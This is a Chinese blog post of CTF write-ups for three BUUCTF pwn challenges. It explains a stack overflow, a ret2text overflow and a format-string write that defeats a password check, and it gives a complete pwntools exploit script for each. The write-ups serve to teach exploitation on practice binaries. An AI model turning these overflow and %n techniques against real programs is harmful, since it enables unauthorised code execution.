首页 > 其他分享 >BUUCTF PWN(2)

BUUCTF PWN(2)

时间:2022-09-28 22:11:36浏览次数:43  
标签:BUUCTF 函数 查看 n% p32 地址 PWN payload

pwn1_sctf_2016

首先先用checksec查看开启了什么保护
在这里插入图片描述可以看到只开启了NX保护,即堆栈不可执行
用32位的IDA打开附件,shift+f12查看字串
在这里插入图片描述
发现cat flag字串双击跟进,找到调用函数的地址:0X8048F0D
在这里插入图片描述

打开main函数
在这里插入图片描述
查看vuln函数,发现存在栈溢出漏洞的函数,fgets(s, 32, edata)这里对gets作出了限制,
32(0x20)而s的大小0x3c>0x20所以不能造成溢出 。
这道题就不能解决了吗,结果肯定不是这样的仔细查看C代码可以发现,replace函数实现了字符串替换,将I替换为you,并将结果重组赋值给s
在这里插入图片描述
在这里插入图片描述

s大小是0x3c即60,60/3=20即二十个I即可填满s所占的大小加上32位的四字节大小。payload的即为:

payload = 'I' * 20 + 'aaaa' + p32(0x8048F0D)

构建exp:

from pwn import *

p = remote("node4.buuoj.cn",29336)

payload = 'I' * 20 + 'aaaa' + p32(0x8048F0D)

p.sendline(payload)

p.interactive()

得到flag
在这里插入图片描述

jarvisoj_level0

用checksec检查开启了什么保护,发现还是只开启了NX堆栈不可执行在这里插入图片描述
接下来用64位的IDA打开文件,按shift+f12查看字串,发现/bin/sh
在这里插入图片描述
双击它查看哪个函数调用了这个字串,查看该函数的地址信息
在这里插入图片描述
在这里插入图片描述
点开main函数,没发现什么有用的信息,点击vulnerable_function()函数
发现read函数可以读出两百个字节大小的空间,而buf只有80个字节大小,构成栈溢出
在这里插入图片描述
查看buf,由于是六十四位的文件距离返回地址要加上0x8的大小,接下来构造payload:

'a' * 0x88 + p64(0x40059A)

编写exp:

from pwn import *

p = remote("node4.buuoj.cn",25525)

payload = 'a' * 0x88 + p64(0x40059A)

p.sendline(payload)

p.interactive()

得到flag
在这里插入图片描述
在这里插入图片描述

[第五空间2019 决赛]PWN5

用checksec检查开启了什么保护,发现除了PIE都打开了,那么这道题就要绕过Canary了。题目开启了 Canary 保护, 往往需要和 格式化字符串漏洞利用联系起来
在这里插入图片描述
首先介绍一下什么是Canary保护机制

在函数开始时就随机产生一个值,将这个值CANARY放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉CANARY的值;当程序结束时,程序会检查CANARY这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。

那么既然开启了Canary保护,首先想到格式化字符串漏洞,用32位的IDA打开,先用老方法shit+f12查看/bin/sh的地址
在这里插入图片描述
发现它就在main函数里面,打开main函数查看反编译代码
![在这里插入图片描述](/i/ll/?i=6a16c2dd0ab94d46b0a4d64265265f79.png

函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system,printf存在格式化字符串漏洞

漏洞利用

检索字符在栈上偏移量,AAAA的16进制ASCII码为0X41414141而0X41414141距离AAAA的偏移量为10
在这里插入图片描述

我们可以先把0x804c044这个地址先写到偏移值为10的地址中,然后利用 %10$n把4写入到这个地址中去,然后再将密码写为4就可以达到目的
构建payload:

p32(0x804c044) + p32(0x804c045) + p32(0x804c046) + p32(0x804c047) + '%10$n%11$n%12$n%13$n'

编写exp:

from pwn import *

p = remote("node4.buuoj.cn",25664)

payload = p32(0x804c044) + p32(0x804c045) + p32(0x804c046) + p32(0x804c047) + '%10$n%11$n%12$n%13$n' 

p.sendafter("name:",payload)
p.sendafter("passwd",str(0x10101010))

p.interactive()

得到flag
在这里插入图片描述
在这里插入图片描述

标签:BUUCTF,函数,查看,n%,p32,地址,PWN,payload
From: https://www.cnblogs.com/xuanbb9826/p/16735755.html

相关文章

  • BUUCTF web 第二题代码审计
    BUUCTFweb2[极客大挑战2019]WarmUp代码审计✔解题方法1.查看网页源代码<htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content=......
  • BUUCTF web 第一题[极客大挑战 2019]EasySQL
    BUUCTFweb第一题sql注入之万能密码[极客大挑战2019]EasySQL✔解题方法1.判断类型为:有回显、字符型sql注入当输入343、343)、343’‘、343’‘)当输入343‘时当......
  • BUUCTF PWN
    rip首先checksec起手发现没有打开任何防护,是64位amd文件,使用IDA反汇编瞅一瞅首先shift+f12查看字串发现/bin/sh和system跟进查看/bin/sh的返回地址0X401186查看main......
  • NewStartCTF week1 pwn
    ret2text很简单的一道栈溢出题目首先通过checksec查看题目开启了什么保护,只开启了NX,是64位的amd文件拖到ida中查看首先shift+f12查看字串发现,/bin/sh双击跟进发现调......
  • BUUCTF [BJDCTF2020]Easy MD5 详解
    1.题目搞了好久,这道题,就一个简简单单的输入框。2、利用md5($password,true)实现SQL注入打开题目,看上去像sql注入,也有可能是命令执行,或者SSRF,但是注入半天也没什么反应......
  • 攻防世界 new_easypwn 题解
    攻防世界new_easypwn题解程序分析查看程序基本情况,如图,该程序是64位程序,开启了Canary、NX、PIE保护。使用ida64打开分析程序,该程序是个电话录之类的,可以添加、删除、......
  • 攻防世界 pwn1 题解
    攻防世界pwn1题解下载附件,file命令识别文件为64位,checksec命令查看程序保护情况,如图,有Canary和NX保护。在ida64中打开程序,程序的主要功能有两个:存储用户输入的字符......
  • buuctf 间谍启示录
    下载下来是一个镜像文件先不运行,放在010里看看有没有什么内容直接搜索发现有flag.exe尝试用binwalk分离,发现分离不出来,那就用foremost分离分离出来拿到windows里是这......
  • buuctf
    注意,strcat拼接时,是以小端序方式拼接的,0x……LL中的LL指的是longlong类型,从右到左读字符。frombinasciiimporta2b_heximportgmpy2t1='4E44434C53'key='ADSFK'+......
  • buuctf-web-[SUCTF 2019] CheckIn
    概述时间:August92022测试发现不可以上传以.ph开头的后缀名文件。于是想到上传.htaccess文件+上传图片马的方式执行webshell,结果并没有成功。为啥失败了呢?原来题目环境......